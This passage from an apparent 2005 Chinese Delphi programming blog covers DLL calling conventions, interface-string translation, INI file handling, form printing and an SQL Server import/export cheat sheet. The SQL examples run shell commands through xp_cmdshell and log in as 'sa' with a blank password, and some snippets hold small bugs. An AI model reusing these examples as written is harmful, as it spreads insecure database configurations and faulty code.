　　cdecl 自右向左调用者否
　　stdcall 自右向左被调例程否
　　safecall 自右向左被调例程否

　　这里的指示字就是在声明函数或过程时附加在例程标题之后的保留字，默认为register，即是唯一使用 CPU寄存器的参数传递方式，也是传递速度最快的方式；

　　pascal: 调用协议仅用于向后兼容，即向旧的版本兼容；
　　cdecl: 多用于 C和 C++语言编写的例程，也用于需要由调用者清除参数的例程；
　　stdcall: 和safecall主要用于调用Windows API 函数；其中safecall还用于双重接口。
　　在本例中，将使用调用协议cdecl ，因为被调用的 DLL中，使用的数据库连接是由主叫方传递得到的，并且需要由主叫方处理连接的关闭和销毁。

　　下面是 DLL完整源程序和主叫程序完整源程序。包括以下四个文件：

　　 Project1.DPR {主叫程序}
　　 Unit1.PAS {主叫程序单元}
　　 Project2.DPR {DLL}
　　 Unit2.PAS {DLL单元}

　　{---------- DLL 主程序 Project2.DPR ----------}

　　library Project2;

　　uses
　　 SysUtils,
　　 Classes,
　　 Unit2 in ‘Unit2.pas‘ {Form1};

　　{$R *.RES}

　　{ 下面的语句用于向调用该 DLL的程序提供调用接口 }
　　exports
　　 DoTest; { 过程来自单元Unit2 }

　　begin
　　end.

cyberfan 2005-08-12 15:59 发表评论

Delphi中高级DLL的编写和调用(3)

cyberfan — Fri, 12 Aug 2005 07:59:00 GMT

Forms,
　　 Unit1 in ‘Unit1.pas‘ {Form1};

　　{$R *.RES}

　　begin
　　 Application.Initialize;
　　 Application.CreateForm(TForm1, Form1);
　　 Application.Run;
　　end.

　　{---------- 调用者单元Unit1.PAS ----------}

　　unit Unit1;

　　interface

　　uses
　　 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
　　 StdCtrls, Db, ADODB;

　　type
　　 TForm1 = class(TForm)
　　 Button1: TButton; { 按此按钮进行调用 }
　　 ADOConnection1: TADOConnection; { 本地数据库连接，将传递给 DLL }
　　 procedure Button1Click(Sender: TObject);{ 调用 DLL}
　　 private
　　 public
　　 end;

　　var
　　 Form1: TForm1;

　　implementation

　　{$R *.DFM}

　　{ 外部声明必须和 DLL中的参数列表一致，否则会运行时错误 }
　　procedure DoTest(H: THandle; { 传递句柄 }
　　 AConn: TADOConnection; { 传递数据库连接 }
　　 S: string; { 传递文本信息 }
　　 N: Integer); { 传递数值信息 }
　　 cdecl; { 指定调用协议 }
　　 external ‘Project2.dll‘;{ 指定过程来源 }

　　{ 调用过程 }
　　procedure TForm1.Button1Click(Sender: TObject);
　　begin
　　 DoTest(Application.Handle,
　　 ADOConnection1,
　　 ‘Call OK‘,
　　 256);
　　end;

　　end.

cyberfan 2005-08-12 15:59 发表评论

Delphi程序设计中系统提示信息的汉化

cyberfan — Fri, 12 Aug 2005 07:58:00 GMT

对广大的编程爱好者来说，最尴尬的事莫过于在执行自己编写的中文软件时却弹出一条英文的提示信息。本文介绍一种快速简便的方法，对Delphi中的系统提示信息进行汉化。

　　在Delphi中，定义系统资源字符串常量的源文件(.pas)都放在了Delphi安装目录的\Source目录下，并按其类别分布在几个子目录中，而其编译后的单元文件(.dcu)则全部放在Delphi安装目录的\Lib目录中，系统编译链接应用程序时会自动从这些单元文件中找到所需的字符串常量将其替换。因此，我们只要将\Source目录下的源文件中的提示信息字符串汉化后，编译成单元文件，再将该单元文件拷贝到\Lib目录中，覆盖原先的单元文件就可以达到汉化的目的。我们需要汉化某条提示信息时，找到包含该提示信息的源文件，将该提示信息字符串汉化就可以了。

　　首先，在Delphi中建立一个新的项目，该项目中会自动包含一个名为Unit1的窗体文件，将其从项目中移去。然后从菜单中选择Project→Options，在弹出的Project Options对话框中，选择Directories/Conditionals标签，其中的Unit output directory文本框可以指定项目编译后单元文件的存放路径，在这里填上\Lib目录的完整路径，在笔者的系统中该路径为C:\Program Files\Borland\Delphi5\lib。最后将该项目文件存盘，并取名为HanHua.dpr。至此，这个用于汉化的项目文件就建立起来了，那么，怎么利用这个项目文件开始工作呢？下面，我就用一个实例来说明其使用的方法。

　　在用Delphi编制某应用软件时，软件编译后，在运行时出现提示信息"Delete record?"，其汉化的步骤如下：

　　1.在Delphi中打开项目文件HanHua.dpr。

　　2.选择菜单Search→Find in Files，在弹出的对话框中，在Text to find:文本框里输入要查找的文本，在这里我们输入"Delete record?"，然后在Where组件框里选中Search in directories，并在Search Directory Options中输入\Source目录的完整路径，在我的系统中该路径为C:\Program Files\Borland\Delphi5\Source，最后别忘了将Include subdirectories选中，单击"OK"按钮开始查找。

　　3.在代码编辑器底部会新增一个窗口，显示出所有包含你所要查找的文本的文件，在这个例子中，只找到一个文件，显示"C:\Program Files\Borland\Delphi5\Source\Vcl\dbconsts.pas(100):SDeleteRecordQuestion='Delete record?';"，双击可以打开该文件，系统会自动将光标移到"Delete record?"前面，将其改为"删除记录？"。

　　4.选择菜单Project→Add to Project，在弹出的对话框中，系统会自动将当前打开的文件（这里为dbconsts.pas）作为默认打开文件，可以直接单击"打开"按钮将其添加到项目中。

　　5.编译项目HanHua.dpr。

　　最后，我们只要把前面的应用软件重新编译一次，其提示信息"Delete record?"就变成了"删除记录？"。怎么样，用这种方法进行汉化是不是又快又准？不过，因为我们是直接在系统目录中对源文件进行修改，有两个方面还存在一点问题，其一，如果在修改过程中出现错误，就找不到可以参照的源文件了；其二，重装Delphi后，所有的汉化结果就全部没有了。所以我们还需要对上面的汉化过程作一点改进，其实，我们只要在上面第3步和第4步之间增加下面这个步骤就可以了：

　　选择菜单File→Save As，在弹出的对话框中，将文件换名存盘到别的目录中。

在增加上面这个步骤后，前面提到的两个问题都得到了解决：系统源文件没有被修改，修改后的文件都放在了我们自己的目录中；重装Delphi后，只要重新编译项目HanHua.dpr就可以将以前汉化过的系统提示信息重新汉化。

cyberfan 2005-08-12 15:58 发表评论

Delphi中初始化.Ini文件的读写

cyberfan — Fri, 12 Aug 2005 07:58:00 GMT

在Windows中的应用程序极大多数拥有自己的初始化文件，如PowerBuilder、Office及Cstar等。因此初始化文件的读写是每个高级程序员必须掌握的技术。虽然初始化文件的读写也可用Object Pascal中的文本文件一样读写，但因初始化文件不同于一般的文本文件，它有自己固定的格式（见下面的初始化文件是ucdos中提供的rdfnt.ini文件），如果用文本文件的方式读写，不仅格式转换十分繁琐，且很容易出现错误，为了方便程序员读写初始化文件中的数据，Delphi中向用户提供了一个TIniFile类，通过TiniFile类就可十分方便地读写初始化文件。

Ucdos中rdfnt.ini文件的内容为：

[True Type fonts directory]

Dir=C:\WINDOWS\SYSTEM

　

[True Type fonts list]

ARIAL.TTF=64

ARIALBD.TTF=65

ARIALI.TTF=66

ARIALBI.TTF=67

TIMES.TTF=68

TIMESBD.TTF=69

TIMESI.TTF=70

TIMESBI.TTF=71

COUR.TTF=72

COURBD.TTF=73

COURI.TTF=74

COURBI.TTF=75

[Use All True Type fonts]

All=0

　　TiniFile类不是一个Delphi的部件，因此不能在Delphi的VCL模板中找到，它在Delphi 系统中的inifiles单元中定义，因此要使用TiniFile类，必须在使用该类的单元文件中用Uses inifiles指令明确地说明。

　　TiniFile类中定义了许多成员函数，这里介绍几个使用频率较高的成员函数：

⑴ Create（）

　　函数定义为： constructor Create(const FileName: string);

　　该函数建立TiniFile类的对象。参数FileName是要读写的初始化文件名。

　　若读写的文件在Windows的目录里（如system.ini文件），则可以直接写文件名而不必指定路径，否则就必须指定路径（如d:\ucdos\rdfnt.ini）。

　　如按以下规则在规定的目录中存在该文件，则打开该初始化文件；否则在规定的目录里创建该初始化文件。

⑵ ReadSections（）

　　过程定义为： procedure ReadSections(Strings: TStrings);

　　该过程将从所建立的TiniFile类的对象（即与之关联的初始化文件）中读取所有的节点名（即用[]括号括起的那部分，如rdfnt.ini文件中的[True Type fonts list]）存入字符串列表中。参数Strings即为字符串列表的变量名。

⑶ ReadSectionValues()

　　过程定义为： procedure ReadSectionValues(const Section: string; Strings: TStrings);

　　该过程将参数Section的值所对应的节点（如rdfnt.ini文件中的[True Type fonts list]）中的各个关键字（如ARIALBI.TTF）及其所含的值（如ARIALBI.TTF关键字值为67）读入参数Strings指明的字符串列表中。

⑷ ReadSection()

　　过程定义为： procedure ReadSection(const Section: string; Strings: TStrings);

　　该过程将参数Section的值所对应的节点中的各个关键字读入参数Strings指明的字符串列表中。与ReadSectionValues()不同的是它没有读取各个关键字的对应值。

⑸ ReadString()

　　函数定义为： function ReadString(const Section, Ident, Default: string): string;

　　该函数返回以参数Section的值为节点名、参数Ident的值为关键字名所对应的关键字值（如[True Type fonts list]节中ARIALBI.TTF关键字的值为67）。当指定的节点或节内的关键字不存在时，则函数返回参数Default的缺省值。返回的值是一个字符串型数据。

　　当指定节点中关键字值的数据类型不是字符串时，则可用ReadInteger()成员函数读取一个整型值，用ReadBool()成员函数读取一个布尔值。

⑹ WriteString()

　　过程定义为： procedure WriteString(const Section, Ident, Value: string);

　　该过程将参数Section的值为节点名、参数Ident的值为关键字名的关键字值设置为参数Value的值。该过程设置的是字符串型数据。

　　当指定节点和关键字均存在时，则用Value的值替代原值；如指定节点不存在，则在关联的初始化文件中自动增加一个节点，该节点的值为参数Section的值，并在该节点下自动增加一个关键字，关键字名为参数Ident的值，该关键字对应的值为参数Value的值；若节点存在，但关键字不存在，则在该节点下自动增加一个关键字，关键字名为参数Ident的值，该关键字对应的值为参数Value的值。

　　若要设置整型值，可调用WriteInteger()成员函数；用WriteBool()成员函数设置布尔值。

　　知道了以上函数的作用，要建立或读写一个初始化文件就不难了。下面以一个实际例子说明初始化文件的读取方法，步骤如下：

⒈ 在需要读写初始化文件的窗体（Form）上放置名为SectionComboBox、IdentComboBox的两个组合式列表框，其中SectionComboBox存放节点名，IdentComboBox存放所选择节点的关键字名。一个名为IdentValueEdit的输入框，存放对应关键字的值。名为CmdChang的修改命令钮可以用来修改关键字的值，修改后用名为CmdSave的存储命令钮将修改后的关键字的值存入关联的初始化文件。窗体对应的单元名设为IniUnit，窗体名设为IniForm，窗体布局如下图一所示：

⒉ 在IniUnit单元的interface部分用uses inifiles;说明要引用的TiniFile类所定义的单元名。并在变量说明部分定义TiniFile类的对象，如

var IniFile: TiniFile;

⒊ 建立窗体的OnCreate事件过程。使用TIniFile类的Create成员函数创建TIniFile对象，用该对象读写d:\ucdos目录中的rdfnt.ini初始化文件，并将该初始化文件中的所有节点通过ReadSections() 成员函数读入SectionComboBox组合式列表框中，用ReadSection()成员函数将第一个节点中的所有关键字读入IdentComboBox 组合式列表框，用ReadString()成员函数将第一个关键字的值送入IdentValueEdit输入框。

⒋ 建立SectionComboBox组合式列表框的OnChange事件过程。当该选择列表框中的不同项目（即不同的节点名）时，用ReadSection()成员函数将选节点中的所有关键字读入IdentComboBox 组合式列表框，并用ReadString()成员函数将第一个关键字的值送入IdentValueEdit输入框。

⒌ 建立IdentComboBox组合式列表框的OnChange事件过程。当该选择列表框中的不同项目（即不同的关键字名）时，用ReadString()成员函数将该关键字的值送入IdentValueEdit输入框。

⒍ 建立命令钮CmdChang的OnClick事件过程。使IdentValueEdit输入框中的内容可以修改（不按该命令钮，IdentValueEdit输入框是不能修改的），并设置命令钮CmdSave有效，可以将修改后的关键字值存入关联的初始化文件中。

⒎ 建立命令钮CmdSave的OnClick事件过程。如果关键字值已改变，则调用WriteString()成员函数将修改后的关键字的值存盘。

⒏ 建立窗体的OnDestroy事件过程。当窗体失效时，将建立的TIniFile对象释放，以释放该对象所战用的系统资源。

至此，运行该工程，初始化文件的读写已能顺利进行。当然还可以使用EraseSection()成员函数删除指定的节，也可用DeleteKey()成员函数删除指定的关键字，因篇幅有限，这里就不详细介绍了，有兴趣的可参考Delphi的使用帮助。

下面是该单元的源程序代码：

unit IniUnit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, inifiles;

type

TIniForm = class(TForm)

SectionComboBox: TComboBox;

Label1: TLabel;

CmdSave: TButton;

CmdChang: TButton;

IdentComboBox: TComboBox;

IdentValueEdit: TEdit;

Label2: TLabel;

Label3: TLabel;

procedure FormCreate(Sender: TObject);

<>procedure SectionComboBoxChange(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure CmdChangClick(Sender: TObject);

procedure CmdSaveClick(Sender: TObject);

procedure IdentComboBoxChange(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

IniForm: TIniForm;

{ Delphi中通过TIniFile类读写Windows的初始化文件 }

IniFile: TIniFile;

implementation

{$R *.DFM}

procedure TIniForm.FormCreate(Sender: TObject);

begin

{ 使用TIniFile类的Create成员函数建立TIniFile对

象，该对象用来读写d:\ucdos目录中的rdfnt.ini文件，

如果读写的文件在Windows的目录里（如system.ini），

则可以直接写文件名而不必指定路径 }

IniFile:=TIniFile.Create('d:\ucdos\rdfnt.ini');

{ 将TIniFile对象关联的初始化文件system.ini中的所

有节（即用[]括号括起的那部分）的节名送入下拉式组

合列表框SectionComboBox中 }

SectionComboBox.Clear;

IniFile.ReadSections(SectionComboBox.Items);

{ 选择system.ini文件的第一个节名 }

SectionComboBox.ItemIndex:=0;

SectionComboBoxChange(Sender);

CmdSave.Enabled:=False;

end;

{ 将组合列表框IniComboBox中所选择节中对应的各个

变量及对应的值送入多行文本编辑器IniMemo中 }

procedure TIniForm.SectionComboBoxChange(Sender: TObject);

begin

IdentComboBox.Clear;

IniFile.ReadSection(SectionComboBox.Text,

IdentComboBox.Items);

IdentComboBox.ItemIndex:=0;

IdentComboBoxChange(Sender);

end;

procedure TIniForm.IdentComboBoxChange(Sender: TObject);

begin

IdentValueEdit.Enabled:=False;

{ 将选择的关键字值读入 }

IdentValueEdit.Text:=

IniFile.ReadString(SectionComboBox.Text,

IdentComboBox.Text,'');

end;

procedure TIniForm.CmdChangClick(Sender: TObject);

begin

CmdSave.Enabled:=True;

IdentValueEdit.Enabled:=True;

IdentValueEdit.SetFocus;

end;

procedure TIniForm.CmdSaveClick(Sender: TObject);

begin

if IdentValueEdit.Modified then begin

IniFile.WriteString(SectionComboBox.Text,

IdentComboBox.Text,

IdentValueEdit.Text);

end;

IdentValueEdit.Enabled:=False;

CmdSave.Enabled:=False;

end;

procedure TIniForm.FormDestroy(Sender: TObject);

begin

IniFile.Free; { 释放创建的对象 }

end;

end.

以上方法在Windows 95下用Delphi 3.0调试通过。

cyberfan 2005-08-12 15:58 发表评论

Delphi中票据凭证的精确打印

cyberfan — Fri, 12 Aug 2005 07:58:00 GMT

一、概述

　　在银行，税务，邮政等行业的实际工作中，经常涉及到在印刷好具有固定格式的汇款单，储蓄凭证，税票等单据上的确定位置打印输出相关的信息。在此类需求中，精确地定位单据并打印相关信息，是解决问题]的关键。一般情况下，开发者都是通过在打印机上通过重复的测试来达到实际需求。那么，有没有简单有效而又灵活的方法实现上述功能呢？

　　二、基本思路

　　分析上述单据的特征，可以发现：此类打印输出的信息一般比较简短，不涉及到文字过长的折行处理，另外，其打印输出的位置相对固定。因此，我们可以通过用尺子以毫米为单位，测量好每个输出信息位置的横向和纵向坐标，作为信息输出的位置。但由于不同打印机在实际输出效果上，总是存在理论和实际位置的偏差，因此，要求程序具有一定的灵活性，供最终用户根据需要，进行必要的位置调整。因此，可设置一打印配置文件，用于存储横坐标和纵坐标的偏移量，用于用户进行位置校正，从而提供了一定的灵活性。

　　三、精确打印输出的程序实现

　　1．在Delphi中新建一个名为mprint.pas的单元文件并编写如下程序，单元引用中加入Printers略：

//取得字符的高度
function CharHeight: Word;
var
　Metrics: TTextMetric;
begin
　GetTextMetrics(Printer.Canvas.Handle, Metrics);
　Result := Metrics.tmHeight;
end;

file://取得字符的平均宽度
function AvgCharWidth: Word;
var
　Metrics: TTextMetric;
begin
　GetTextMetrics(Printer.Canvas.Handle, Metrics);
　Result := Metrics.tmAveCharWidth;
end;

file://取得纸张的物理尺寸---单位：点
function GetPhicalPaper: TPoint;
var
　PageSize : TPoint;
begin
　file://PageSize.X; 纸张物理宽度-单位:点
　file://PageSize.Y; 纸张物理高度-单位:点
　Escape(Printer.Handle, GETPHYSPAGESIZE, 0,nil,@PageSize);
　Result := PageSize;
end;

file://2.取得纸张的逻辑宽度--可打印区域
file://取得纸张的逻辑尺寸
function PaperLogicSize: TPoint;
var
　APoint: TPoint;
begin
　APoint.X := Printer.PageWidth;
　APoint.Y := Printer.PageHeight;
　Result := APoint;
end;

file://纸张水平对垂直方向的纵横比例
function HVLogincRatio: Extended;
var
　AP: TPoint;
begin
　Ap := PaperLogicSize;
　Result := Ap.y/Ap.X;
end;

file://取得纸张的横向偏移量-单位：点
function GetOffSetX: Integer;
begin
　Result := GetDeviceCaps(Printer.Handle, PhysicalOffSetX);
end;

file://取得纸张的纵向偏移量-单位：点
function GetOffSetY: Integer;
begin
　Result := GetDeviceCaps(Printer.Handle, PhysicalOffSetY);
end;

file://毫米单位转换为英寸单位
function MmToInch(Length: Extended): Extended;
begin
　Result := Length/25.4;
end;

file://英寸单位转换为毫米单位
function InchToMm(Length: Extended): Extended;
begin
　Result := Length*25.4;
end;

file://取得水平方向每英寸打印机的点数
function HPointsPerInch: Integer;
begin
　Result := GetDeviceCaps(Printer.Handle, LOGPIXELSX);
end;

file://取得纵向方向每英寸打印机的光栅数
function VPointsPerInch: Integer;
begin
　Result := GetDeviceCaps(Printer.Handle, LOGPIXELSY)
end;

file://横向点单位转换为毫米单位
function XPointToMm(Pos: Integer): Extended;
begin
　Result := Pos*25.4/HPointsPerInch;
end;

file://纵向点单位转换为毫米单位
function YPointToMm(Pos: Integer): Extended;
begin
　Result := Pos*25.4/VPointsPerInch;
end;

file://设置纸张高度-单位：mm
procedure SetPaperHeight(Value:integer);
var
　Device : array[0..255] of char;
　Driver : array[0..255] of char;
　Port : array[0..255] of char;
　hDMode : THandle;
　PDMode : PDEVMODE;
begin
file://自定义纸张最小高度127mm
if Value < 127 then Value := 127;
　file://自定义纸张最大高度432mm
　if Value > 432 then Value := 432;
　　Printer.PrinterIndex := Printer.PrinterIndex;
　　Printer.GetPrinter(Device, Driver, Port, hDMode);
　　if hDMode <> 0 then
　　　begin
　　　　pDMode := GlobalLock(hDMode);
　　　　if pDMode <> nil then
　　　　begin
　　　　　pDMode^.dmFields := pDMode^.dmFields or DM_PAPERSIZE or
　　　　　　　　　　　　　　　DM_PAPERLENGTH;
　　　　　pDMode^.dmPaperSize := DMPAPER_USER;
　　　　　pDMode^.dmPaperLength := Value * 10;
　　　　　pDMode^.dmFields := pDMode^.dmFields or DMBIN_MANUAL;
　　　　　pDMode^.dmDefaultSource := DMBIN_MANUAL;
　　　　　GlobalUnlock(hDMode);
　　　　end;
　　　end;
　　　Printer.PrinterIndex := Printer.PrinterIndex;
end;

file://设置纸张宽度：单位--mm
Procedure SetPaperWidth(Value:integer);
var
　Device : array[0..255] of char;
　Driver : array[0..255] of char;
　Port : array[0..255] of char;
　hDMode : THandle;
　PDMode : PDEVMODE;
begin
file://自定义纸张最小宽度76mm
if Value < 76 then Value := 76;
　file://自定义纸张最大宽度216mm
　if Value > 216 then Value := 216;
　　Printer.PrinterIndex := Printer.PrinterIndex;
　　Printer.GetPrinter(Device, Driver, Port, hDMode);
　　if hDMode <> 0 then
　　begin
　　　pDMode := GlobalLock(hDMode);
　　　if pDMode <> nil then
　　　begin
　　　　pDMode^.dmFields := pDMode^.dmFields or DM_PAPERSIZE or
　　　　　　　　　　　　　　DM_PAPERWIDTH;
　　　　pDMode^.dmPaperSize := DMPAPER_USER;
　　　　file://将毫米单位转换为0.1mm单位
　　　　pDMode^.dmPaperWidth := Value * 10;
　　　　pDMode^.dmFields := pDMode^.dmFields or DMBIN_MANUAL;
　　　　pDMode^.dmDefaultSource := DMBIN_MANUAL;
　　　　GlobalUnlock(hDMode);
　　　end;
　　end;
　　Printer.PrinterIndex := Printer.PrinterIndex;
end;

file://在 (Xmm, Ymm)处按指定配置文件信息和字体输出字符串
procedure PrintText(X, Y: Extended; Txt: string; ConfigFileName: string; FontSize: Integer=12);
var
　OrX, OrY: Extended;
　Px, Py: Integer;
　AP: TPoint;
　Fn: TStrings;
　FileName: string;
　OffSetX, OffSetY: Integer;
begin
file://打开配置文件，读出横向和纵向偏移量
try
　Fn := TStringList.Create;
　FileName := ExtractFilePath(Application.ExeName) + ConfigFileName;
　if FileExists(FileName) then
　begin
　　Fn.LoadFromFile(FileName);
　　file://横向偏移量
　　OffSetX := StrToInt(Fn.Values['X']);
　　file://纵向偏移量
　　OffSetY := StrToInt(Fn.Values['Y']);
　end
else
begin
　file://如果没有配置文件，则生成
　Fn.Values['X'] := '0';
　Fn.Values['Y'] := '0';
　Fn.SaveToFile(FileName);
end;
finally
　Fn.Free;
end;
X := X + OffSetX;
Y := Y + OffSetY;
Px := Round(Round(X * HPointsPerInch * 10000/25.4) / 10000);
Py := Round(Round(Y * VPointsPerInch * 10000/25.4) / 10000);
Py := Py - GetOffSetY; file://因为是绝对坐标, 因此, 不用换算成相对于Y轴坐标
Px := Px + 2 * AvgCharWidth;
Printer.Canvas.Font.Name := '宋体';
Printer.Canvas.Font.Size := FontSize;
file://Printer.Canvas.Font.Color := clGreen;
Printer.Canvas.TextOut(Px, Py, Txt);
end;

　　2．使用举例

　　在主窗体中加入对mprint单元的引用，在一命令钮的OnClick事件中书写如下代码（用于在邮政汇款单上的相应方框内打印邮政编码843300）：

Printer.BeginDoc;
PrintText(16, 14, '8', 'config.txt');
PrintText(26, 14, '4', 'config.txt');
PrintText(36, 14, '3', 'config.txt');
PrintText(46, 14, '3', 'config.txt');
PrintText(56, 14, '0', 'config.txt');
PrintText(66, 14, '0', 'config.txt');
Printer.EndDoc;

　　观察结果，用尺子测量偏移量，在config.txt文件中修改X，Y的值即可。

　　其它，设置打印机和纸张类型从略。

　　四、结束语

　　笔者通过该方法，实现了邮政汇款单，储蓄凭证，客户信封等单据的精确打印，取得了较为满意的效果。该程序在Windows98，Delphi5下调试通过。

cyberfan 2005-08-12 15:58 发表评论

Delphi中使用纯正的面向对象方法

cyberfan — Fri, 12 Aug 2005 07:57:00 GMT

Delphi的VCL技术使很多程序员能够非常快速的入门：程序员门只要简单的拖动再加上少量的几个Pascal语句，呵呵，一个可以运行得非常良好的Delphi程序！恭喜你，你已经可以进行程序开发这个伟大的事业了。不过，当你学了一段时间后也许就不这么想了哦。因为Delphi是支持面向对象的语言，其实所有的VCL　Component都是基于面向对象的语言设计的，那么当我们用这些面向对象的东东来设计出一些不怎么面向对象的东东好象有些不伦不类的感觉，当然，这里不讨论用不用面向对象方法的好坏，也不想引起相关人士的抗议，毕竟"萝卜青菜"嘛。
　　在Delphi中，所有的控件都声明在Publish的关键字下，这也是利用组件编程的默认位置。这样，如果一个Form2想要引Form1(假如其为Unit1)中的某个控件时，只要Use Unit1就OK了，如果Form1要引用Form2的东东，也可以如法泡制。不过，如果哪天我不小心把Form2中的控件改了名，那岂不是Form1中调的的代码全部要重写了么？所以，我主张把这些控件作为Form类的专用元素，外部窗体可以通过Form类公布的属性来访问其中的控件。
　　　比如：
　　　　　　　　TForm1=class(Tform)
privte
Button1:Tbutton
end;
不过，这样的设计是解决了成员的高度封装不过，编译会出现错误说Tbutton类找不到，原因是我们把Button1放到了Private中，Delphi不会自动帮我们注册Tbutton类，其实解决这个问题也很简单只要在
Initialization
中加入　RegisterClasses([Tbutton])
就OK了，当然如果有不同的类的控件都可以如法炮制放在RegisterClasses的参数中，因为其参数是一个控件数组。
　　　当然，这样的面向对象的设计方法是要比以前那种"拖拉"的方法复杂，不过，我们得到了高度的封装性，我认为值得，各位呢？

cyberfan 2005-08-12 15:57 发表评论

防止多个相同的EXE程序同时运行

cyberfan — Fri, 12 Aug 2005 07:57:00 GMT

熟悉Delphi的朋友都知道，用Delphi编写的程序如果不加任何控制，编译出来的EXE程序可以多个同时运行。如果在程序中加入下列代码就可解决这一问题：

.......

public

aa:word;

.......

procedure TForm1.FormCreate(Sender: TObject);

begin

//搜索系统数据库看程序是否正在运行

if GlobalFindAtom('Project1') =0 then // Project1为EXE文件名

//假如没有找到该EXE文件，就把此EXE文件名添加到系统数据库

aa := GlobalAddAtom(' Project1')

else

begin //如果该程序已经运行，显示信息并退出程序

MessageDlg('该程序正在运行！', mtWarning, [mbOK], 0);

Halt;

end;

end;

.......

procedure TForm1.FormDestroy(Sender: TObject);

begin

{ 退出程序时，从数据表中删除添加的文件名 }

GlobalDeleteAtom(aa);

end;

cyberfan 2005-08-12 15:57 发表评论

Delphi的命令行参数

cyberfan — Fri, 12 Aug 2005 07:57:00 GMT

在Delphi中，我们使用命令行参数可以非常快捷地实现一些功能。通过下面的介绍，你将清楚的了解怎样从命令建入Delphi的IDE环境，并了解其详细的参数。Delphi的执行程序名为Delphi32.exe，以下你可能通过它来使用所有的参数。Delphi的命今行参数对大小不敏感。

##1常用参数介绍

？调用IDE命令行帮助

HM 在工具条上显示内存使用情况

HV 内存校验，在工具条上显示内存错误信息

NS 不显示Splash窗口

NP 打开一空的IDE环境，不加载任何工程

##1调试参数介绍

dexename 加载用于调试的可执行文件名，任何处于dexename之后的参数将作为执行程序的参数，并被IDE视而不见

attach %1 %2 应用调试关联，它可用在平常的调试，但更多用在即时调试中

sddirectories 指定用于调试的原代码，须选的参数，同样你可以通过(Project｜Options｜Directories/Conditionals 属性)来设置hhostname，指定用于调试的主机，如果你在调试一个远程应用，它为必选参数

##1工程参数介绍

filename 指定加载进入IDE的文件，可以为工程文件、工程组文件、也可以是单个文件

B 自动创建，你必须在使用了filename的基础上合用

M 与B类似

ooutputfile 指定错误的输出文件，你必须在应用了B、M的基础上使用

cyberfan 2005-08-12 15:57 发表评论

SQL语句导入导出大全

cyberfan — Fri, 12 Aug 2005 07:56:00 GMT

SQL语句导入导出大全
/******* 导出到excel
EXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""'

/*********** 导入Excel
SELECT *
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions

/*动态文件名
declare @fn varchar(20),@s varchar(1000)
set @fn = 'c:\test.xls'
set @s ='''Microsoft.Jet.OLEDB.4.0'',
''Data Source="'+@fn+'";User ID=Admin;Password=;Extended properties=Excel 5.0'''
set @s = 'SELECT * FROM OpenDataSource ('+@s+')...sheet1$'
exec(@s)
*/

SELECT cast(cast(科目编号 as numeric(10,2)) as nvarchar(255))+'　' 转换后的别名
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions

/********************** EXCEL导到远程SQL
insert OPENDATASOURCE(
'SQLOLEDB',
'Data Source=远程ip;User ID=sa;Password=密码'
).库名.dbo.表名 (列名1,列名2)
SELECT 列名1,列名2
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions

/** 导入文本文件
EXEC master..xp_cmdshell 'bcp dbname..tablename in c:\DT.txt -c -Sservername -Usa -Ppassword'

/** 导出文本文件
EXEC master..xp_cmdshell 'bcp dbname..tablename out c:\DT.txt -c -Sservername -Usa -Ppassword'
或
EXEC master..xp_cmdshell 'bcp "Select * from dbname..tablename" queryout c:\DT.txt -c -Sservername -Usa -Ppassword'

导出到TXT文本，用逗号分开
exec master..xp_cmdshell 'bcp "库名..表名" out "d:\tt.txt" -c -t ,-U sa -P password'

BULK INSERT 库名..表名
FROM 'c:\test.txt'
WITH (
FIELDTERMINATOR = ';',
ROWTERMINATOR = '\n'
)

--/* dBase IV文件
select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'dBase IV;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客户资料4.dbf]')
--*/

--/* dBase III文件
select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'dBase III;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客户资料3.dbf]')
--*/

--/* FoxPro 数据库
select * from openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\',
'select * from [aa.DBF]')
--*/

/**************导入DBF文件****************/
select * from openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;
SourceDB=e:\VFP98\data;
SourceType=DBF',
'select * from customer where country != "USA" order by country')
go
/***************** 导出到DBF ***************/
如果要导出数据到已经生成结构(即现存的)FOXPRO表中,可以直接用下面的SQL语句

insert into openrowset('MSDASQL',
'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\',
'select * from [aa.DBF]')
select * from 表

说明:
SourceDB=c:\ 指定foxpro表所在的文件夹
aa.DBF 指定foxpro表的文件名.

/*************导出到Access********************/
insert into openrowset('Microsoft.Jet.OLEDB.4.0',
'x:\A.mdb';'admin';'',A表) select * from 数据库名..B表

/*************导入Access********************/
insert into B表 selet * from openrowset('Microsoft.Jet.OLEDB.4.0',
'x:\A.mdb';'admin';'',A表)

文件名为参数
declare @fname varchar(20)
set @fname = 'd:\test.mdb'
exec('SELECT a.* FROM opendatasource(''Microsoft.Jet.OLEDB.4.0'',
'''+@fname+''';''admin'';'''', topics) as a ')

SELECT *
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="f:\northwind.mdb";Jet OLEDB:Database Password=123;User ID=Admin;Password=;')...产品

********************* 导入 xml　文件 [Page]

DECLARE @idoc int
DECLARE @doc varchar(1000)
--sample XML document
SET @doc ='

Customer was very satisfied

Important
Happy Customer.

'
-- Create an internal representation of the XML document.
EXEC sp_xml_preparedocument @idoc OUTPUT, @doc

-- Execute a SELECT statement using OPENXML rowset provider.
SELECT *
FROM OPENXML (@idoc, '/root/Customer/Order', 1)
WITH (oid char(5),
amount float,
comment ntext 'text()')
